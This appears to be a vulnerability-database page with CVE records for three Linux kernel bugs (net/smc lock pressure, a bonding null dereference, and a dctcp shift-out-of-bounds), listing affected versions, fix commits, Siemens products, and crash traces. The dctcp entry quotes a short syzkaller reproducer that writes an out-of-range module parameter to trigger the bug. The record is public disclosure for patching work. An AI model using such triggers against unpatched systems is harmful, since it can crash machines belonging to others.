            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:57.971Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/smc/smc_pnet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bc4d1ebca11b4f194e262326bd45938e857c59d2",
              "status": "affected",
              "version": "e888a2e8337c96dd785d204cf8ff775e79173add",
              "versionType": "git"
            },
            {
              "lessThan": "b9117dc783c0ab0a3866812f70e07bf2ea071ac4",
              "status": "affected",
              "version": "e888a2e8337c96dd785d204cf8ff775e79173add",
              "versionType": "git"
            },
            {
              "lessThan": "d7ee3bf0caf599c14db0bf4af7aacd6206ef8a23",
              "status": "affected",
              "version": "e888a2e8337c96dd785d204cf8ff775e79173add",
              "versionType": "git"
            },
            {
              "lessThan": "a2e6bffc0388526ed10406040279a693d62b36ec",
              "status": "affected",
              "version": "e888a2e8337c96dd785d204cf8ff775e79173add",
              "versionType": "git"
            },
            {
              "lessThan": "6e920422e7104928f760fc0e12b6d65ab097a2e7",
              "status": "affected",
              "version": "e888a2e8337c96dd785d204cf8ff775e79173add",
              "versionType": "git"
            },
            {
              "lessThan": "00af2aa93b76b1bade471ad0d0525d4d29ca5cc0",
              "status": "affected",
              "version": "e888a2e8337c96dd785d204cf8ff775e79173add",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/smc/smc_pnet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.10"
            },
            {
              "lessThan": "5.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: reduce rtnl pressure in smc_pnet_create_pnetids_list()\n\nMany syzbot reports show extreme rtnl pressure, and many of them hint\nthat smc acquires rtnl in netns creation for no good reason [1]\n\nThis patch returns early from smc_pnet_net_init()\nif there is no netdevice yet.\n\nI am not even sure why smc_pnet_create_pnetids_list() even exists,\nbecause smc_pnet_netdev_event() is also calling\nsmc_pnet_add_base_pnetid() when handling NETDEV_UP event.\n\n[1] extract of typical syzbot reports\n\n2 locks held by syz-executor.3/12252:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.4/12253:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.1/12257:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.2/12261:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.0/12265:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.3/12268:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.4/12271:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.1/12274:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878\n2 locks held by syz-executor.2/12280:\n  #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline]\n  #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:00.958Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bc4d1ebca11b4f194e262326bd45938e857c59d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/b9117dc783c0ab0a3866812f70e07bf2ea071ac4"
        },
        {
          "url": "https://git.kernel.org/stable/c/d7ee3bf0caf599c14db0bf4af7aacd6206ef8a23"
        },
        {
          "url": "https://git.kernel.org/stable/c/a2e6bffc0388526ed10406040279a693d62b36ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/6e920422e7104928f760fc0e12b6d65ab097a2e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/00af2aa93b76b1bade471ad0d0525d4d29ca5cc0"
        }
      ],
      "title": "net/smc: reduce rtnl pressure in smc_pnet_create_pnetids_list()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35934",
    "datePublished": "2024-05-19T10:10:41.668Z",
    "dateReserved": "2024-05-17T13:50:33.130Z",
    "dateUpdated": "2026-05-12T11:52:57.971Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-44990 (GCVE-0-2024-44990)

Vulnerability from cvelistv5 – Published: 2024-09-04 19:54 – Updated: 2026-05-12 11:57

Title

bonding: fix null pointer deref in bond_ipsec_offload_ok

Summary

In the Linux kernel, the following vulnerability has been resolved: bonding: fix null pointer deref in bond_ipsec_offload_ok We must check if there is an active slave before dereferencing the pointer.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/81216b9352be43f89…
https://git.kernel.org/stable/c/2f5bdd68c1ce64bda…
https://git.kernel.org/stable/c/32a0173600c63aada…
https://git.kernel.org/stable/c/0707260a18312bbcd…
https://git.kernel.org/stable/c/b70b0ddfed31fc92c…
https://git.kernel.org/stable/c/95c90e4ad89d493a7…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 81216b9352be43f8958092d379f6dec85443c309 (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 2f5bdd68c1ce64bda6bef4d361a3de23b04ccd59 (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 32a0173600c63aadaf2103bf02f074982e8602ab (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 0707260a18312bbcd2a5668584e3692d0a29e3f6 (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < b70b0ddfed31fc92c8dc722d0afafc8e14cb550c (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 95c90e4ad89d493a7a14fa200082e466e2548f9d (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.225 , ≤ 5.10.* (semver) Unaffected: 5.15.166 , ≤ 5.15.* (semver) Unaffected: 6.1.107 , ≤ 6.1.* (semver) Unaffected: 6.6.48 , ≤ 6.6.* (semver) Unaffected: 6.10.7 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-44990",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-04T20:19:45.863668Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-04T20:21:23.035Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:14:46.719Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:28.105Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/bonding/bond_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "81216b9352be43f8958092d379f6dec85443c309",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "2f5bdd68c1ce64bda6bef4d361a3de23b04ccd59",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "32a0173600c63aadaf2103bf02f074982e8602ab",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "0707260a18312bbcd2a5668584e3692d0a29e3f6",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "b70b0ddfed31fc92c8dc722d0afafc8e14cb550c",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "95c90e4ad89d493a7a14fa200082e466e2548f9d",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/bonding/bond_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.225",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.166",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.107",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.48",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.225",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.166",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.107",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.48",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.7",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: fix null pointer deref in bond_ipsec_offload_ok\n\nWe must check if there is an active slave before dereferencing the pointer."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:33:19.934Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/81216b9352be43f8958092d379f6dec85443c309"
        },
        {
          "url": "https://git.kernel.org/stable/c/2f5bdd68c1ce64bda6bef4d361a3de23b04ccd59"
        },
        {
          "url": "https://git.kernel.org/stable/c/32a0173600c63aadaf2103bf02f074982e8602ab"
        },
        {
          "url": "https://git.kernel.org/stable/c/0707260a18312bbcd2a5668584e3692d0a29e3f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/b70b0ddfed31fc92c8dc722d0afafc8e14cb550c"
        },
        {
          "url": "https://git.kernel.org/stable/c/95c90e4ad89d493a7a14fa200082e466e2548f9d"
        }
      ],
      "title": "bonding: fix null pointer deref in bond_ipsec_offload_ok",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-44990",
    "datePublished": "2024-09-04T19:54:37.518Z",
    "dateReserved": "2024-08-21T05:34:56.671Z",
    "dateUpdated": "2026-05-12T11:57:28.105Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-37356 (GCVE-0-2024-37356)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:54

Title

tcp: Fix shift-out-of-bounds in dctcp_update_alpha().

Summary

In the Linux kernel, the following vulnerability has been resolved: tcp: Fix shift-out-of-bounds in dctcp_update_alpha(). In dctcp_update_alpha(), we use a module parameter dctcp_shift_g as follows: alpha -= min_not_zero(alpha, alpha >> dctcp_shift_g); ... delivered_ce <<= (10 - dctcp_shift_g); It seems syzkaller started fuzzing module parameters and triggered shift-out-of-bounds [0] by setting 100 to dctcp_shift_g: memcpy((void*)0x20000080, "/sys/module/tcp_dctcp/parameters/dctcp_shift_g\000", 47); res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x20000080ul, /*flags=*/2ul, /*mode=*/0ul); memcpy((void*)0x20000000, "100\000", 4); syscall(__NR_write, /*fd=*/r[0], /*val=*/0x20000000ul, /*len=*/4ul); Let's limit the max value of dctcp_shift_g by param_set_uint_minmax(). With this patch: # echo 10 > /sys/module/tcp_dctcp/parameters/dctcp_shift_g # cat /sys/module/tcp_dctcp/parameters/dctcp_shift_g 10 # echo 11 > /sys/module/tcp_dctcp/parameters/dctcp_shift_g -bash: echo: write error: Invalid argument [0]: UBSAN: shift-out-of-bounds in net/ipv4/tcp_dctcp.c:143:12 shift exponent 100 is too large for 32-bit type 'u32' (aka 'unsigned int') CPU: 0 PID: 8083 Comm: syz-executor345 Not tainted 6.9.0-05151-g1b294a1f3561 #2 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014 Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x201/0x300 lib/dump_stack.c:114 ubsan_epilogue lib/ubsan.c:231 [inline] __ubsan_handle_shift_out_of_bounds+0x346/0x3a0 lib/ubsan.c:468 dctcp_update_alpha+0x540/0x570 net/ipv4/tcp_dctcp.c:143 tcp_in_ack_event net/ipv4/tcp_input.c:3802 [inline] tcp_ack+0x17b1/0x3bc0 net/ipv4/tcp_input.c:3948 tcp_rcv_state_process+0x57a/0x2290 net/ipv4/tcp_input.c:6711 tcp_v4_do_rcv+0x764/0xc40 net/ipv4/tcp_ipv4.c:1937 sk_backlog_rcv include/net/sock.h:1106 [inline] __release_sock+0x20f/0x350 net/core/sock.c:2983 release_sock+0x61/0x1f0 net/core/sock.c:3549 mptcp_subflow_shutdown+0x3d0/0x620 net/mptcp/protocol.c:2907 mptcp_check_send_data_fin+0x225/0x410 net/mptcp/protocol.c:2976 __mptcp_close+0x238/0xad0 net/mptcp/protocol.c:3072 mptcp_close+0x2a/0x1a0 net/mptcp/protocol.c:3127 inet_release+0x190/0x1f0 net/ipv4/af_inet.c:437 __sock_release net/socket.c:659 [inline] sock_close+0xc0/0x240 net/socket.c:1421 __fput+0x41b/0x890 fs/file_table.c:422 task_work_run+0x23b/0x300 kernel/task_work.c:180 exit_task_work include/linux/task_work.h:38 [inline] do_exit+0x9c8/0x2540 kernel/exit.c:878 do_group_exit+0x201/0x2b0 kernel/exit.c:1027 __do_sys_exit_group kernel/exit.c:1038 [inline] __se_sys_exit_group kernel/exit.c:1036 [inline] __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1036 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xe4/0x240 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x67/0x6f RIP: 0033:0x7f6c2b5005b6 Code: Unable to access opcode bytes at 0x7f6c2b50058c. RSP: 002b:00007ffe883eb948 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 RAX: ffffffffffffffda RBX: 00007f6c2b5862f0 RCX: 00007f6c2b5005b6 RDX: 0000000000000001 RSI: 000000000000003c RDI: 0000000000000001 RBP: 0000000000000001 R08: 00000000000000e7 R09: ffffffffffffffc0 R10: 0000000000000006 R11: 0000000000000246 R12: 00007f6c2b5862f0 R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001 </TASK>

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/06d0fe049b51b0a92…
https://git.kernel.org/stable/c/6aacaa80d962f4916…
https://git.kernel.org/stable/c/e9b2f60636d18dfd0…
https://git.kernel.org/stable/c/8602150286a2a860a…
https://git.kernel.org/stable/c/e65d13ec00a738fa7…
https://git.kernel.org/stable/c/02261d3f9dc7d1d7b…
https://git.kernel.org/stable/c/237340dee373b9783…
https://git.kernel.org/stable/c/3ebc46ca8675de637…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < 06d0fe049b51b0a92a70df8333fd85c4ba3eb2c6 (git) Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < 6aacaa80d962f4916ccf90e2080306cec6c90fcf (git) Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < e9b2f60636d18dfd0dd4965b3316f88dfd6a2b31 (git) Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < 8602150286a2a860a1dc55cbd04f99316f19b40a (git) Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < e65d13ec00a738fa7661925fd5929ab3c765d4be (git) Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < 02261d3f9dc7d1d7be7d778f839e3404ab99034c (git) Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < 237340dee373b97833a491d2e99fcf1d4a9adafd (git) Affected: e3118e8359bb7c59555aca60c725106e6d78c5ce , < 3ebc46ca8675de6378e3f8f40768e180bb8afa66 (git)
Linux	Linux	Affected: 3.18 Unaffected: 0 , < 3.18 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-37356",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T13:56:45.436880Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T13:57:55.391Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:20.246Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/06d0fe049b51b0a92a70df8333fd85c4ba3eb2c6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6aacaa80d962f4916ccf90e2080306cec6c90fcf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e9b2f60636d18dfd0dd4965b3316f88dfd6a2b31"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8602150286a2a860a1dc55cbd04f99316f19b40a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e65d13ec00a738fa7661925fd5929ab3c765d4be"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/02261d3f9dc7d1d7be7d778f839e3404ab99034c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/237340dee373b97833a491d2e99fcf1d4a9adafd"
          },
          {
